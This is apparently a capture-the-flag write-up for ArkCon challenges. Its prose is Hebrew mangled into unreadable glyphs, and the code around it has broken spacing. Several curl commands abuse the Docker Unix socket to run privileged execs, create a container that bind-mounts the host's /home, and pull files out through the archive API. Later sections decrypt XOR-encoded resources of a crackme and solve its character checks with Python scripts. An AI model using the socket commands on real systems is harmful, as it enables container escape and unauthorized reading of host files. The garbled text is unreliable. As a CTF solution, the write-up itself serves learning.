ˢ ˪˷ ˢˢˤˬ˟ ˣˮ˷ˬ˸˷ˢ ˣˤˢ ˞ˬˠˣˡ˟-container  ˸˧˧˵˧˸ ˭˩ˣ˸ ˸˞ ˢ˶ˤ˥ ˣˮ˪˟˧˵ ˭˩˪ˣ ,ˣˮ˪˷home  ˶˟˩˷

ˢ˪ˣ˰˲ˢ ˸˞ ˰˴˟˪ ˢ˯ˮˮ .ˣˮ˶˩ˢ ˢ ˶ˣ˟˰ ˫ˠ ˣˤˢ-container  ˸˞ ˡˠ˞ˬ˷ ˶˴ˣ˵ˬ ˥˯ˣˮ ˶ˣ˴˧ˮ ˨˶ˡˢ ˪˰ˣ ,˧ˮ˷ˢ

:ˢ˞˟ˢ ˸˧ˮ˟˸˟ ˷ˣˬ˧˷ ˸ˣ˰˴ˬ˞˟ ˸˥˞ ˢˡˣ˵˲˪ ˸ˣˡˣ˵˲ˢ ˧˸˷ 

curl  - X POST -- unix - socket /var/run/docker.sock http/v1.24/exec/$(curl -

s - X POST -- unix - socket /var/run/docker.sock 

http/v1.24/containers/ <container_id >/exec - H "Content -

Type:application/json" - d '{"AttachStdin": true, "AttachStdout": true, 

"AttachStderr": true, "Cmd": ["ls", "/home"], "DetachKeys": "ctrl -

p,ctrl - q", "Privileged": true,"Tty": true, "User": "cobb"}' |  awk - F'"' 

'{ printf $4 }') /start - H "Content - Type:application/json" - d '{"Detach": 

false, "Tty": false}' -- output -  
  

https://docs.docker.com/engine/api/v1.24/#exec-create
https://docs.docker.com/engine/api/v1.24/#exec-start
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˸˸˩ ˸˞˶˵ˮ ˢˮˣ˷˞˶ˢ ˢˡˣ˵˲ˢ :˶˟˯ˢ- ˢ˷˵˟ˢ ˸˞ ˸˶˴˧˧ˬ ˭˧˧ˡ˰ ˞˧ˢ .ˢ˧˧ˮ˷ˢ ˢˡˣ˵˲ˢ ˨ˣ˸˟ ˢˡˣ˵˲

 ˸ˤˣ˶˥ˬ ˢ˶˧ˤ˥ˬˣjson ˟ ˷ˣˬ˧˷ ˸ˣ˰˴ˬ˞˟ ˨˞ ,˫ˡˣ˵ ˣˬ˩-awk ˢ ˸˞ ˫˧˲˪ˣ˷ ˣˮ˞-command_id ˧ ˸ˣ˶˧˷

˦˪˲˟ ˢ˧˧˲˴˪ ˸˷ˬ˷ˬ˷ ˢˡˣ˵˲ˢ ˸˞ ˢ˸ˣ˰˴ˬ˞˟ "˫˧˪˧˩˞ˬ"ˣ: 

 

!˥˸˲ˬˢ ˪˷ ˧ˮ˷ˢ ˵˪˥ˢ ˣˢˤ 

:ˣ˸ˣ˞ ˞ˣ˶˵˪ ˢ˯ˮˮ 

 

 ˵˪˥ ˢ˧ˢ ˞˪˷ ˭ˣ˷˞˶ ˣ˸ ˫˰ ˶ˤ˥ ˦˪˲ˢ ,ˢ˧˧˵˧˸ˢ ˪˷ ˭˩ˣ˸ˢ ˸˞ ˢˠ˧˴ˢ˷ ,˸ˬˡˣ˵ˢ ˢˡˣ˵˲˟˷ ˟˪ ˣˬ˧˷

˧˞ ˨˞ ,ˣˮˬˬ ˫˪˰˸ˢ˪ ˪˵ ˢ˧ˢ ˫ˡˣ˵ˢ ˢ˶˵ˬ˟ .(˫˧˧˶ˠˣ˯ ˸˶˧ˠ˯ ˣ˸) ˧˶ˣ˵ˬˢ ˦˪˲ˢˬ ˢ˶˵ ˶˟ˡˢ ˫˞ ˰ˡˮ ˨

?˥˸˲ˬˢ ˸˞ ˣˮ˯˲ˡˢ˷˩ ˟ˣ˷ 

˟ ˷ˬ˷ˮ-base64 :˞ˡˣˣ˪ ˸ˮˬ ˪˰ 

 

 ˣ˸ ˢˮ˧˞˷ ,ˢˡˣ˵ˮ) ˶ˣ˷˵ ˞˪ ˣ˸ ˫˰ ˪˧˥˸ˬ ˦˪˲ˢ ˢ˲ ˫ˠbase64  ˣ˸ˢˬ ˪˧˥˸ˬ ˥˸˲ˬˢ ˭˩˪ .(˧˵ˣ˥i.  ˶˸ˣˮ

 .˥˶˞ˬˢ ˟˷˥ˬ˟ ˶ˬˣ˪˩ ,"˸ˣ˞˧˴ˬ˟" ˞˴ˬˮ ˞ˣˢ ,˶ˠ˸˞ˢ ˸˪˧˥˸˟ ˢ˰ˡˣˢˢ ˧˲˪ .˭ˣ˶˥˞ ˡ˥˞ ˵˪˥ ˣˮ˪

˞ˣ˴ˬ˪ ˨˶˦˴ˮ ˢˬ ˢ˴ˣ˥ˢ ˳ˣ˶˲˪ ˨˶ˡ-container ˢ ˵˷ˬˬ˟ ˢ˦˧˪˷ ˸ˣ˰˴ˬ˞˟ ,ˣˮ˪ˤˬ˪ .ˣˮ˪˷-Docker ,

 ˶˴˧˧˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞container !˳ˣ˥˟ˬ ˫˧˴˟˵˪ ˢ˷˧ˠ ˫˰ ˷ˡ˥ 

 ˪˷ ˡˣ˰˧˸ˢάŘƻŎƪŜǊ ŎǊŜŀǘŜέ  ˶˴˧˧˪ ˸ˮˬ ˪˰ ˧˩ ˰˟ˣ˵container˟ ˸ˣ˥˲ˢ ˪˩˪ ˨˶ˣ˴ ˷˧ ,-image. 

  

https://searchitoperations.techtarget.com/definition/Docker-image
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ˢ ˪˷ ˢ˶˧˵˯ˬ ˪˧˥˸ˮ-images  ˸ˡˣ˵˲ ˸ˣ˰˴ˬ˞˟ ˫˧ˮˣ˷ˢimage-list: 

 

 ˧ˮ˷ ˣˮ˪ ˷˧images -  ˭ˣ˷˞˶ˢmydockerid7/dream2  ˧ˮ˷ˢˣmydockerid7/dream1.1_light  ˭˰ˬ˪ˣ)

ˢ ˸˞ ˣˮ˶˵˯˷˩ ˫ˡˣ˵ ˫ˠ ˫˸ˣ˞ ˣˮ˧˞˶ ,˸ˬ˞ˢ-container-.˸ˡ˥ˣ˧ˬ ˢ˟˧˯ ˧˪˟ ,˧ˮ˷˟ ˶˥˟ˮ .(˫˧ˮˣ˷ˢ ˫˧ 

 ˰˴˟˪ ˶˧ˡˠ˸˷ ˢ˧˴˶ˣˠ˧˲ˮˣ˵ ˵˲˯˪ ˢ˴˶ˮ ,˱˯ˣˮ˟mount  ˸˧˧˵˧˸˪/home .˥˶˞ˬˢ ˟˷˥ˬˢ ˪˷  ,˪˩ˢ ˨˯˟

 ˸ˡˣ˵˲) ˢ˞˟ˢ ˢˡˣ˵˲˟ ˷ˬ˸˷ˮcreate container:( 

curl  -- unix - socket /var/run/docker.sock - H "Content - Type: 

application/json" - d '{"Image": "mydockerid7/dream1.1_light", "Cmd": 

["sh"], "Mounts": [{"Target":"/home","Source":"/home", " Type ":"bind", 

"ReadOnl y": false}]}' - X POST http:/v1.24/containers/create  

 ˪˟˵ˮˣ ˢˡˣ˵˲ˢ ˸˞ ˳˧˶ˮcontainer ID :˱˯ˣˮ 

 

ˢ ˪˰ ˢˡˣ˵˲ ˳˧˶ˢ˪ ˢ˯ˮˮ ˫˞ ˨˞-container :ˢ˞˟ˢ ˢ˞˧ˠ˷ˢ ˸˞ ˪˟˵ˮ ,˷ˡ˥ˢ 

 

 ˸ˡˣ˵˲ ˸˞ ˳˧˶ˢ˪ ˶˷˲˞ContainerStart ˢ ˸˞ ˫˧˶ˢ˪ ˸ˮˬ ˪˰-container  ˳˧˶ˮ ˦ˣ˷˲ ˣ˞ˣ˟ ˪˟˞dump 

 ˢˡˣ˵˲ˢ ˸ˣ˰˴ˬ˞˟ ,˫ˣ˵ˬ˟archive ˭ˣ˧˩˶˞ ˸˶˴˧˧ˬ ˫˴˰˟˷ ,tar : 

curl  -- unix - socket /var/run/docker.sock 

http/v1.24/containers/ <container_id >/archive ?path =/home -- output -  

:ˢ˞˴ˣ˸ˢˣ 

 

 ˟˧˸ˮˢ ˸˞ ˸ˣ˞˶˪ ˶˷˲˞/home/key.part3 .˥˸˲ˬˢ ˪˷ ˧˷˧˪˷ˢ ˵˪˥ˢ ˭˩ˣ˸ ˸˞ ˣ˧˶˥˞ ˡ˧ˬˣ 

https://docs.docker.com/engine/api/v1.24/#list-images
https://docs.docker.com/engine/api/v1.24/#create-a-container
https://docs.docker.com/engine/api/v1.37/#operation/ContainerStart
https://docs.docker.com/engine/api/v1.24/#get-an-archive-of-a-filesystem-resource-in-a-container
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:˥˸˲ˬˢ ˸˞ ˣˮˬ˪˷ˢ 

6$xH* AOd1eBu&LKS0| T#Q=4jEqkl{7[iP:!<^@mYMh3fG s>~D/tp"X,gb%C+(zw`c_y5;9N}

oFar.UW)VI8J]2vnZ?R  

 ˸ˣ˰˴ˬ˞˟ ˡˡˣ˵ˬ ˥˸˲ˬˢ ˧˩ ˤˬ˶ˮ ˪˧ˠ˶˸ˢ ˶ˣ˞˧˸˟base91 ˣˮ˧˞ ˡˣˡ˧˵ˢ ˥˸˲ˬ ,ˣˮ˪˷ ˢ˶˵ˬ˟ ˫˪ˣ˞ ,

ˢˬ ˣˮ˞˴ˣˢ˷ ˢˤ ˞˪˞ ˧˦˶ˡˮ˦˯ˢ ˥˸˲ˬˢ-container- ˷ˬ˸˷ˮ ,˪ˠˡˢ ˸˞ ˥ˮ˰˲˪ ˸ˮˬ ˪˰ ,˭˩˪ .˫˧ˮˣ˷ˢ ˫˧

˦ˣ˷˲ ˦˲˧˶˵˯˟  ˥ˣˮ˰˲˪base91 .˥˸˲ˬˢ ˸˞ ˣ˪ ˣˮ˲˪˥ˢ ˶˷˞ 

:ˡˣ˵ˢ 

# Base91 encode/decode for  Python 2 and Python 3  

# 

# Copyright (c) 2012 Adrien Beraud  

# Copyright (c) 2015 Guillaume Jacquenot  

# All rights reserved.  

# 

# Redi stribution and use  in  source and binary forms, with or without  

# modification, are permitted provided that the following conditions are met:  

# 

#   *  Redistributions of source code must retain the above copyright notice,  

#     this list of conditions and th e following disclaimer.  

#   *  Redistributions  in  binary form must reproduce the above copyright notice,  

#     this list of conditions and the following disclaimer  in  the documentation  

#     and/or other materials provided with the distribution.  

#   *  Neith er the name of Adrien Beraud, Wisdom Vibes Pte. Ltd., nor the names  

#     of its contributors may be used to endorse or promote products derived  

#     from this software without specific prior written permission.  

# 

# THIS SOFTWARE IS PROVIDED BY THE COPYRI GHT HOLDERS AND CONTRIBUTORS "AS IS"  

# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT  NOT LIMITED TO, THE  

# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS  FOR A PARTICULAR PURPOSE ARE 

# DISCLAIMED.  IN  NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE  

# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL  

# DAMAGES (INCLUDING, BUT  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 

# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER  

# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER  IN  CONTRACT, STRICT LIABILITY,  

# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING  IN  ANY WAY OUT OF THE USE 

# OF THIS SOFTWARE, EVEN IF  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  

# 

import  struct  

 

def  decode(encode d_str, key):  

    ''' Decode Base91 string to a bytearray '''  

    decode_table  = dict((v, k)  for  k, v  in  enumerate(key))  

    v = - 1 

    b = 0 

    n = 0 

    out  = bytearray()  

    for  strletter  in  encoded_str:  

        if not  strletter  in  decode_table:  

            continue  

        c = decode_table[strletter]  

        if  (v < 0):  

            v = c 

        else:  

            v += c *  91 

            b |=  v << n 

            n += 13  if  (v & 8191) > 88  else  14 

            while  True:  

                out  += struct.pack( 'B', b & 255)  

                b >>= 8 

                n - = 8 

https://github.com/aberaud/base91-python/blob/master/base91.py
https://github.com/aberaud/base91-python/blob/master/base91.py
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                if not  n > 7:  

                    break  

            v = - 1 

    if  v + 1:  

        out  += struct.pack('B', (b |  v << n) & 255)  

    return  out  

 

def  main():  

    flag  = 'Ppn.4W{cP =aah( H[k_ !XA! g2zbVfa90M^D7.2mh2C || otC ;u!$'  

 

    key1  = '6$xH * AOd1eBu&LKS0| T#Q=4jEqkl{7['  

    key2  = 'iP:!<^@mYMh3fGs>~D/tp"X,gb%C+(z'  

    key3  = 'w`c_y5;9N}oFar.UW)VI8J]2vnZ ?R'  

 

    key  = key1 + key2 + key3  

    print  decode(flag, key)  

 

if  __name__ == '__main__' :  

    main()  

:˦˪˲ˢ 

 

:˪ˠˡˢ 

ArkCon{y0u_mU57_n07_B3_4Fr41d_70_dR34m !}  
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˶ˠ˸˞ #3 :Billiejean )400,000 ˸ˣˡˣ˵ˮ( 

 

˭ˣ˶˸˲: 

:˧˶˞ˮ˧˟ˢ ˪˷ ˢ˴˶ˢˬ ˪˧˥˸ˮ 

C: \ Users \ yaakovco \ Desktop \ CTF\ ArkCon \ RE>billiejean.exe  

Nope...  

˟ ˢ˴˶ˢˢ ˳˟ˣ˵ ˸˞ ˭˥˟ˮ-IDA: 
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 ˦˪˵˪ ˢ˲˴ˬ ˢˮ˩ˣ˸ˢ˷ ˢ˞˶ˮ ˸ˣ˧ˢ˪ ˨˧˶˴ ˦˪˵ˢ ˨˶ˣ˞˷ ˸ˣ˞˶˪ ˭˸˧ˮˣ ,˷ˬ˸˷ˬˢˬ32 ˫˧ˣˣ˸:  ˭˩ˬ ˶˥˞˪

 ˢ˴˶˷ ˢ˞˪ˣ˪ ˢˮ˷˧4 ˷ ˭˟ˣˬ˩) ˫˧ˬ˰˲-i ˬ ˪˧˥˸ˬ-0ˢ ˸˞ ˫˧ˮ˰ˣ˦ ˫˰˲ ˪˩˟ ˶˷˞˩ ,(-resource s-

(i+0x78) ˪ ˭ˣ˶˩˧ˤ˟ ˶ˣˤ˞ˢ ˪˷ ˸ˣ˞˷˶ˢˢ ˸˞ ˫˧˲˧˪˥ˬˣ-0x40 ).(RWX 

 

 ˸˪ˣ˰˲ ˫˧˰˴˟ˬ ˭˩ˬ ˶˥˞˪xor ˟ ˸˧˟ ˪˩ ˪˰-resource ˵˷ˢ ˸˞ ˫˧˰˴˟ˬ ˣ˸˧˞˷ ˣ˸ˢ ˶˷˞˩ ,ˣˮ˞˶-xor 

ˢ ˶ˣ˟˰ .˷ˬ˸˷ˬˢ ˪˷ ˦˪˵ˢˬ ˰˧ˠˬ-resource  ˸ˣ˪ˣ˰˲ ˫˧˰˴˟ˬ ˭ˣ˷˞˶ˢxor  ,˦˪˵ˢ ˪˷ ˭ˣ˷˞˶ˢ ˣ˸ˢ ˫˰

ˢ ˶ˣ˟˰-resource .ˢ˞˪ˢ ˨˩ˣ ,˦˪˵ˢ ˪˷ ˧ˮ˷ˢ ˣ˸˟ ˫˧˷ˬ˸˷ˬ ˧ˮ˷ˢ 

 

 ˸ˣ˪ˣ˰˲ ˫˧˰˴˟ˬ ˢ˪˧˥˸xor ˢ ˪˰- resource  ˪˰ ˫˰˲ ˪˩˟32  ˸ˣˡˣ˵˲ ˸˶ˤ˰˟ ˫˧˸˟XMM: 
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ˬ ˸ˣ˥˲ ˣ˶˞˷ˮ ˶˷˞˩ ,˭˩ˬ ˶˥˞˪ˣ-32  ˫˧˰˴˟ˬ ,˫˧˸˟xor :˸˧˟ ˧˶˥˞ ˸˧˟ 

 

ˢ ˰ˣ˴˧˟˪ ˫˧˷ˬ˷ˬ ˶˷˞ ,˦˪˵ˢ ˪˷ ˫˧ˮˣ˷˞˶ˢ ˫˧ˣˣ˸ˢ ˸˰˟˶˞ ˫ˢˬ ˭˧˟ˢ˪ ˞˧ˢ ˢˮˣ˷˞˶ˢ ˢˬ˧˷ˬˢ-xor. 

ˢ ˸˰˟˶˞ ˣˮ˰˦ˮ ˣ˧˪˞ ˭ˣ˶˩˧ˤˢ ˸ˣ˞˷˶ˢ˷ ˭ˣˣ˧˩ˬ-resource-˪ ˣˮˣ˷ ˫˧-RWX ˧˴˟˵˟ ˶˟ˣˡˬ˷ ˥˧ˮˢ˪ ˪˩ˣˮ ,

ˮˣ˪˥ ˪˷ ˢ˴˶ˢ ˫˧ˣˣ˸ˢ ˫˰ ˡ˧ˬ˸ ˫˧˪˧˥˸ˬ ˸ˣˮˣ˪˥ ˪˷ ˢ˴˶ˢ ˧˴˟˵ .˸ˣMZ  ˪˰ ˱˯ˣˮ ˰ˡ˧ˬ ˞ˣ˴ˬ˪ ˭˸˧ˮ)

 ˦ˬ˶ˣ˲ ˞˶˵ˮ˷ ,ˢˤˢ ˦ˬ˶ˣ˲ˢPE , ˭ˣ˧˪ˠˬ ˶ˬ˞ˬ˟90 ˸˰˟˶˞ ˸˞ ˞ˣ˴ˬ˪ˣ ˫˧˴˟˵ˢ ˸˰˟˶˞ ˸˞ ˳˪˥˪ ˪˩ˣˮ .(

ˮˣ˷˞˶ˢ ˫˧ˣˣ˸ˢ˞ˬ˯˧˯ˢ ˪˷ ˫˧ ˸˪ˣ˰˲ ˧ˡ˧ ˪˰xor   ˪˩˟ ˭ˣ˷˞˶ˢ ˣ˸ˢ ˪˷resource  ˣ˸ˢ ˫˰M: 

for  i in  xrange(4):  

    with  open(str(0x7b +i), 'rb') as f:  

        char  = f.read(1)  

        print  chr(ord(char) ^ ord('M')),  

 ˫˧ˣˣ˸ˢ ˸˞ ˣˮ˪˟˧˵h0ll.ˣˮ˪˷ ˦˪˵ˢ ˪˷ ˫˧ˮˣ˷˞˶ˢ ˫˧ˣˣ˸ˢ ˸˰˟˶˞ ˣ˪˞ˣ ,  ˢ˞˧˶˵ ˢˮ˷˧ ˢ˧˴˶˦˧˞ ˪˩ ˱ˣ˯˟

 ˢ˧˴˵ˮˣ˲˪sub_401000ˢ ˸˞ ˶˦ˬ˶˲˩ ˸˪˟˵ˬ ˶˷˞ ,-resource  ˢ˧˴˶˦˧˞ˢ ˶˲˯ˬ ˸˞ ˱˯ˣˮ˟ˣ ˫˧˞˸ˬˢ

)i.( 

 

:ˢ˧˴˵ˮˣ˲ˢ ˨ˣ˸˟ ˣˮ˯ˮ˩ˢ˷ ˦˪˵˪ ˸ˣ˯˥˧˧˸ˢ ˢˮ˷˧ ˭˩˧ˢ ˵ˣˡ˟ˮ 

 

https://www.digitalwhisper.co.il/files/Zines/0x5A/DW90-3-PE.pdf
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ˢ ˸˞ ˸˞˶ˣ˵ ˢ˧˴˵ˮˣ˲ˢ˷ ˢ˞˶ˮ-DWORD ˟-offset 0x3c ˩ ˣ˟ ˸˷ˬ˸˷ˬˣ-offset ˢ ˸˪˧˥˸ˬ-resource. 

-soffset ˢ ˨ˣ˸˟ ˞˴ˬˮ ˢˤˢ-MZ header ˪ ˰˧˟˴ˬ ˫˴˰˟ ˞ˣˢˣ-offset  ˞˟ˢ ˢˮ˟ˬˢ ˞˴ˬˮ ˣ˟˷- s-NT 

Header: 

 

ˢ ˪˞-offset  ˨˶˰˟ ˸ˣ˪˸˩ ˨˶˰ ˢ˲˧˯ˣˬ ˞˧ˢ ˢˤˢi ˸˰˴˟ˬ ˤ˞ˣ ,xor  ˫˰ ˣ˧˪˞ ˣˮ˰ˠˢ˷ ˫ˣ˵ˬ˟ ˸˧˟ˢ ˪˷

ˢ ˸˧˟ˢ-i ˸˰˟˶˞ ˢˬ ˭˧˟ˢ˪ ˞˧ˢ ˢ˞˟ˢ ˢˬ˧˷ˬˢ ˭˩˪ .˦˪˵˟ ˫˧˞˟ˢ ˫˧ˣˣ˸ˢ ˸˰˟˶˞ ˪˷  ˫˧˞˟ˢ ˫˧˸˟ˢ

.˸ˣ˧ˢ˪ ˫˧˩˧˶˴ ˦˪˵ˢ ˪˷ 

 ˶ˣ˟˰i = 0  ˨˶˰ˢ ˸˞ ˢ˲˧˯ˣˬ ˞˧ˢ0x80˪ ˣˮ˸ˣ˞ ˞˧˟ˬ˷ ˢˬ ,-Offset 0x178: 

 

 ˶ˣ˟˰i = 1  ˨˶˰ˢ ˸˞ ˢ˲˧˯ˣˬ ˞˧ˢ0x14˪ ˣˮ˸ˣ˞ ˞˧˟ˬ˷ ˢˬ ,-Offset 0x10C : 

 

 ˶ˣ˟˰i = 2  ˨˶˰ˢ ˸˞ ˢ˲˧˯ˣˬ ˞˧ˢ0x06˪ ˣˮ˸ˣ˞ ˞˧˟ˬ˷ ˢˬ ,-Offset 0xFE: 

 

 ˶ˣ˟˰ˣi = 3 ˧s ˨˶˰ˢ ˸˞ ˢ˲˧˯ˣˬ ˞0˟ ˣˮ˸ˣ˞ ˶˧˞˷ˬ˷ ˢˬ ,-Offset 0xF8  ˪˷ ˭ˣ˷˞˶ˢ ˸˧˟ˢ ˫ˠ ˞ˣˢ˷

ˢ ˢˮ˟ˬ-NT Header ˰ˣ˟˵ˢ ˫˰ ˪˧˥˸ˢ˪ ˟˧˧˥ ˢˤ ˢˮ˟ˬ ,˦ˬ˶ˣ˲ˢ ˸˶ˡˠˢ ˧˲˪ .άt9έ ˧˩ˢ˷ ˨˶˰ˢ ˣˢˤ ˭˩˪ˣ ,

 ˰˴˟˪ ˦ˣ˷˲ ˣˮ˧˪˰ :˞ˣ˴ˬ˪ ˪˵xor  ˸ˣ˞ˢ ˪˷ ˨˶˰ˢ ˫˰ ˧˥˩ˣˮˢ ˨˶˰ˢ ˪˷P  ˧˰˧˟˶ˢ ˣ˸ˢ ˸˞ ˪˟˵ˮ ˨˩ˣ

˧˧˰˧˟˶˟˸˰˩ ˫˧˷˲˥ˬ ˣˮ˞˷ ˢ: 

 

 ˢ˷ˣ˪˷ ˣˮ˪ ˣ˶˸ˣˮresource- ˸ˣ˰˴ˬ˞˟ ˨˶˰ ˪˩ ˸ˣ˧ˢ˪ ˶ˣˬ˞ ˢˬ ˵ˣˡ˟˪ ˪˩ˣˮ .˞ˣ˴ˬ˪ ˫˧ˣˣ˸ ˢ˷ˣ˪˷ˣ ˫˧

ˢ ˪ˡˣˠ˷ ˭ˣˣ˧˩ˬ ˪˟˞ ,˳˟ˣ˵ ˪˩ ˧ˮ˧˧˲˞ˬ ˪˷ ˢ˶˧˵˥-resources  ˶˸ˣ˧ ˣ˞ ˸ˣ˥˲ ˫˧˴˟˵˟ ˶˟ˣˡˬ ˧˩ ˣˮ˥ˮˢ ˢˢˤ

˫˧ˢˤ. 
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ˬ ˦˰ˬ˪ ˡˣ˞ˬ ˫˧ˢˤ ˫˧˴˟˵ˢ˷ ˢ˞˶ˬ ˢ˶˴˵ ˢ˵˧ˡ˟ ˭˩˞ˣ˫˧ˡˡˣ˟ ˫˧˸˟ ˶˲˯: 

 

ˢ ,˭˩˪-headers ˢ ˭˧˟ ˸ˣˣ˷ˢ˪ ˪˩ˣˮ ,˶ˬˣ˪˩ ,ˣˮˣ˷˷ ˸ˣˬˣ˵ˬ˟ ˫˧ˢˤ ˸ˣ˧ˢ˪ ˫˧˶ˣˬ˞-headers  ˸˞ ˞ˣ˴ˬ˪ˣ

ˢ ˸˞ ˣˮ˵˧˸˷ ˧˶˥˞ .˦˪˵ˢ ˪˷ ˫˧˞˟ˢ ˫˧ˣˣ˸ˢ ˸˰˟˶˞-resource ) ˧˰˧˟˶ˢResource 126 ˵˧˸˰ˢ˪ ˪˩ˣˮ ,(

.ˣˮˬˬ ˫˧˩˶˰ˢ ˶˞˷ ˸˞ 

:˞˟ˢ ˡˣ˵ˢ ˸˞ ˣˮ˟˸˩ ˨˩ ˫˷˪ 

import  stru ct  

key  = ''  

 

# find key  

 

for  i  in  xrange(4):  

    with  open(str(0x7b +i), 'rb') as f:  

        char  = f.read(1)  

        key  += chr(ord(char) ^ ord('M'))  

 

data  = [0] * 4 

# decrypt files  

for  i  in  xrange(4):  

    with  open(str(0x7b +i), 'rb') as f1:  

        chars  = f1.read()  

        data[i]  = ''.join([chr(ord(key[i]) ^ ord(c))  for  c  in  chars])  

 

 

nt_start  = struct.unpack(' <I', data[3][0x3c:0x40])[0]  

 

tmp_key  = chr(ord(data[3][nt_start]) ^ ord('P'))  

data[3]  = data[3][:nt_start] + 'P' + data[3][nt_start +1:]  

 

tmp_key  = chr(ord(data[3][nt_start + 0x06]) ^ ord(data[2][nt_start + 0x06])) + 

tmp_key  
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data[2]  = data[2][:nt_start + 0x06] + data[3][nt_start + 0x06] + 

data[2][nt_start + 0x06 + 1:]  

 

 

tmp_key  = chr(ord(data[3][nt_start + 0x14]) ^ ord(data[1][nt_start + 0x14])) + 

tmp_ key  

data[1]  = data[1][:nt_start + 0x14] + data[3][nt_start + 0x14] + 

data[1][nt_start + 0x14 + 1:]  

 

tmp_key  = chr(ord(data[3][nt_start + 0x80]) ^ ord(data[0][nt_start + 0x80])) + 

tmp_key  

data[0]  = data[0][:nt_start + 0x80] + data[3][nt_start + 0x80] + 

data [0][nt_start + 0x80 + 1:]  

 

print  tmp_key  

  ˞˧ˢ ˢ˞˴ˣ˸ˢ0w1n ˫ˢ ˷˶ˡˮˢ ˦˪˵ˢ ˪˷ ˫˧ˮˣ˷˞˶ˢ ˫˧ˣˣ˸ˢ ˸ˮˣˬ˷ ,˫ˡˣ˵ ˣˮ˪˟˧˵˷ ˢˬ ˱ˣ˶˧˴˟ˣ ,

h0ll0w1n. 

 ˪˩ˬ˷ ˸ˣ˞˶˪ ˪˩ˣˮ ˨˷ˬˢ˟resource  ˶˴ˣˮthread  ˨˶ˣ˞˟ ˸ˤˣ˶˥ˬ ˸˸ ˶˦ˬ˶˲˩ ˣ˪ ˸˥˪˷ˮˣ6  ˸ˤˣ˶˥ˬˬ

:˦˪˵ˢ 

input[8 +6* i:8 +6* (i +1)]  
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˥˞˪ˢ ˫˧ˬ˧˧˵ ˫˞ ˸˵ˡˣ˟ ˸˧˷˞˶ˢ ˢ˧˴˵ˮˣ˲ˢ ˭˩ˬ ˶-atoms "V_I",  "V_II", "V_III" ,"V_IV:" 

 

:˸˧˟ˣ˧˥ ˢ˟ˣ˷˸ ˪˟˵ˮ ˫˧ˬ˧˧˵ ˢ˰˟˶˞ˢ ˪˩ˣ ˢˡ˧ˬ˟ 

 

˪ ˶ˣˤ˥ˮ-DLL-ˢ ˸˶˧˴˧˪ ˧˞ˮ˸ˢ˷ ˞˴ˬˮˣ ˫˧-atom  ˪˩˟DLL  ˪˩˟ ˶˷˞˩ ,˦˪˵ˢ ˨˶ˣ˞ ˪˰ ˢ˞˪ˣ˪˟ ˧ˣ˪˸

 ˢ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵ ˢˮ˷˧ ˢ˧˴˶˦˧˞sub_401000 ˪ ˫˷ˢ ˸˞ ˢ˪ ˣˮ˲˪˥ˢ)-check_char ˣˤ ˢ˧˴˵ˮˣ˲˷ ˢ˞˶ˮ .(

:ˣˬ˴˰ ˣ˸ˢ ˸˞ˣ ˣ˸ˢ ˪˷ ˫ˣ˵˧ˬˢ ˸˞ ˶˦ˬ˶˲˩ ˸˪˟˵ˬ 

 

https://docs.microsoft.com/en-us/windows/desktop/dataxchg/about-atom-tables
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ˢ ˧˴˟˵ ˪˩˟ ˢˢˤ ˢˬ˴˰ ˢ˵˧ˠˣ˪ˢ˷ ˭ˣˣ˧˩ˬ-DLL ˡ˩ ˞˧˟ˮ ,˫˧ˮˣ˷ ˫˧˩˶˰ˢ ˵˶ˣ ,ˣˮ˥ˮ˰˲˷ˢ ˸˞ ˵˶ ˞ˬˠˣ-DLL 

.˭ˣ˷˞˶ˢ 

:˞˟ˢ ˡˣ˵ˢ ˧˲˪ 

 

:˫˧˧˵˪ ˨˧˶˴ ˭ˣ˷˞˶ˢ ˣ˸ˢ 

input[0] +44 != 0  

.(˶˦ˬ˶˲˩ ˢ˶˟˰ˢˢ ˭ˬˤ˟ ˶ˠˣ˞ˢ ˨ˣ˸˪ ˨˶˰ˢ ˸˵˸˰ˢ ˸˶ˣ˴ ˪˪ˠ˟ ˫˧˧˵˸ˬ ˡ˧ˬ˸ ˢˤˢ ˧˞ˮ˸ˢ ˟˪ ˫˧˷ˮ ˫˞) 

 

˫˧˧˵˪ ˨˧˶˴ ˧ˮ˷ˢ ˣ˸ˢ: 

input[1]^0x14^0x40^0x31  == 0x3A  

 

:˫˧˧˵˪ ˨˧˶˴ ˧˷˧˪˷ˢ ˣ˸ˢ 

input[2] +0x23 == 0x9c  
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:˫˧˧˵˪ ˨˧˶˴ ˧˰˧˟˶ˢ ˣ˸ˢ 

(input[3]^0x54) * 0x31 == 0x1324  

 

:˫˧˧˵˪ ˨˧˶˴ ˧˷˧ˬ˥ˢ ˣ˸ˢ 

input[4] +0x85 == 0xFA 

 

:˫˧˧˵˪ ˨˧˶˴ ˧˷˧˷ˢ ˣ˸ˢ 

(input[5]^0x14^0x40) * 0x31 == 0xB1A 

˪ ˢˣˣ˷ ˦˪˵ˢ ˨˶ˣ˞˷ ˢ˵˧ˡ˟ ˢˮ˷˧ ˢ˞˪ˣ˪ˢ ˶˥˞˪-6ˡˣ˵ ˣˮ˧˞˶˷ ˧˲˩ .˸˪˷˩ˮ ˢ˧˴˵ˮˣ˲ˢ ˸˶˥˞ˣ , ˧˞ˮ˸ ,˫

 ˪˩ ˶ˣ˟˰ ˦˪˵ˢ ˨˶ˣ˞ ˧˩ ˫˧˧˵˸ˬ ˢˤDLL  ˭˩˞ ˞ˣˢ6. 

 

ˢ ˸˞ ˪˟˵˪ ˞ˣˢ ˶˞˷ˮ˷ ˢˬ ˪˩-flag:˞˟ˢ ˡˣ˵˟ ˨˩ ˫˷˪ ˷ˬ˸˷ˮ , 

key  = 'h0ll0w1n'  

 

# 123  

 

# input[0] +44 != 0  

key  += ' ?'  

# input[1]^0x14^0x40^0x31 == 0x3A 
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key  += chr(0x14 ^ 0x40 ^ 0x31 ^ 0x3A)  

# input[2] +0x23 == 0x9c  

